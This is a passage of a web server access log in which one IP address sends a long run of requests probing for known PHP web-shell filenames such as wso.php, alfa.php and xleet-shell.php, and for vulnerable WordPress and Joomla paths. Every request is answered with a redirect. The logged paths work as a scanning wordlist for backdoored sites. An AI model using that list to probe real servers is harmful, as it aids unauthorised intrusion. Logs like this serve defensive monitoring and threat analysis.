Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:33:50 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:33:52 -0400] "GET /wp-content/themes/fitnessbase/404.php?ok HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:33:55 -0400] "GET /wp-add-admin.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:33:57 -0400] "GET /RxR.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:33:59 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:34:02 -0400] "GET /components/com_b2jcontact/izoc.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:34:04 -0400] "GET /administrator/templates/bluestork/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:34:07 -0400] "GET /administrator/templates/hathor/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:34:10 -0400] "GET /administrator/templates/hathor/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:34:12 -0400] "GET /administrator/templates/isis/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:34:15 -0400] "GET /administrator/templates/isis/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:34:17 -0400] "GET /templates/beez/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:34:20 -0400] "GET /templates/ja_purity/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:34:23 -0400] "GET /templates/rhuk_milkyway/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:34:26 -0400] "GET /templates/+theme+/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:34:30 -0400] "GET /templates/+theme+/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:34:33 -0400] "GET /templates/beez3/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:34:37 -0400] "GET /templates/beez3/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:34:39 -0400] "GET /templates/beez5/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:34:41 -0400] "GET /templates/beez5/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:34:43 -0400] "GET /templates/beez_20/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:34:46 -0400] "GET /templates/beez_20/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:34:49 -0400] "GET /templates/protostar/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:34:52 -0400] "GET /templates/protostar/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:34:53 -0400] "GET /templates/atomic/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:34:55 -0400] "GET /templates/atomic/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:34:58 -0400] "GET /wp-admin/network/wp-footer.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:35:00 -0400] "GET /wp-content/vuln.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:35:04 -0400] "GET /upel.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:35:07 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:35:09 -0400] "GET /wp-content/uploads/+year+/+month+/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:35:12 -0400] "GET /license.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:35:15 -0400] "GET /wp-content/plugins/ppus/up.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:35:18 -0400] "GET /098.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:35:19 -0400] "GET /new_license.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:35:22 -0400] "GET /wp-content/plugins/theme-configurator/mini.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:35:24 -0400] "GET /wp-content/plugins/widget-logic/mini.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:35:26 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:35:28 -0400] "GET /1975.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:35:30 -0400] "GET /1975.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:35:33 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:35:35 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:35:40 -0400] "GET /xleet-shell.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:35:45 -0400] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:35:50 -0400] "GET /wp-includes/radio.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:35:52 -0400] "GET /fx.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:35:56 -0400] "GET /wp-admin/images/atomlib.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:35:59 -0400] "GET /gel4y.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:36:03 -0400] "GET /jindex.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:36:05 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:36:08 -0400] "GET /sh.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:36:11 -0400] "GET /wp-includes/991176.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:36:15 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:36:17 -0400] "GET /fox.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:36:19 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:36:22 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:36:24 -0400] "GET /server.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:36:27 -0400] "GET /wp-includes/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:36:29 -0400] "GET /4.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:36:32 -0400] "GET /5.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:36:35 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:36:39 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:36:40 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:36:43 -0400] "GET /wp-admin/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:36:45 -0400] "GET /mari.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:36:49 -0400] "GET /swm.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:36:52 -0400] "GET /wp-admin/radio.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:36:55 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:36:57 -0400] "GET /wp-content/wso.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:37:00 -0400] "GET /wp-admin/wso.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:37:03 -0400] "GET /w3llstore.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:37:08 -0400] "GET /wp-content/fx.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:37:13 -0400] "GET /wp-content/x.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:37:15 -0400] "GET /wp-admin/alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:37:19 -0400] "GET /gank.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:37:22 -0400] "GET /style.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:37:27 -0400] "GET /s_e.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:37:32 -0400] "GET /s_ne.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:37:34 -0400] "GET /beence.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:37:36 -0400] "GET /wp-signin.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:37:40 -0400] "GET /moduless.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:37:44 -0400] "GET /export.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:37:49 -0400] "GET /legion.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:37:53 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:37:55 -0400] "GET /shells.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:37:57 -0400] "GET /wp-includes/wp-atom.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:38:00 -0400] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:38:04 -0400] "GET /wp-content/mu-plugins/db-safe-mode.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:38:07 -0400] "GET /wp-content/db-cache.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:38:10 -0400] "GET /wp-content/plugins/backup_index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:38:12 -0400] "GET /wp-content/themes/config.bak.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:38:18 -0400] "GET /wp-includes/images/css.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:38:21 -0400] "GET /wp-includes/css/css.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) 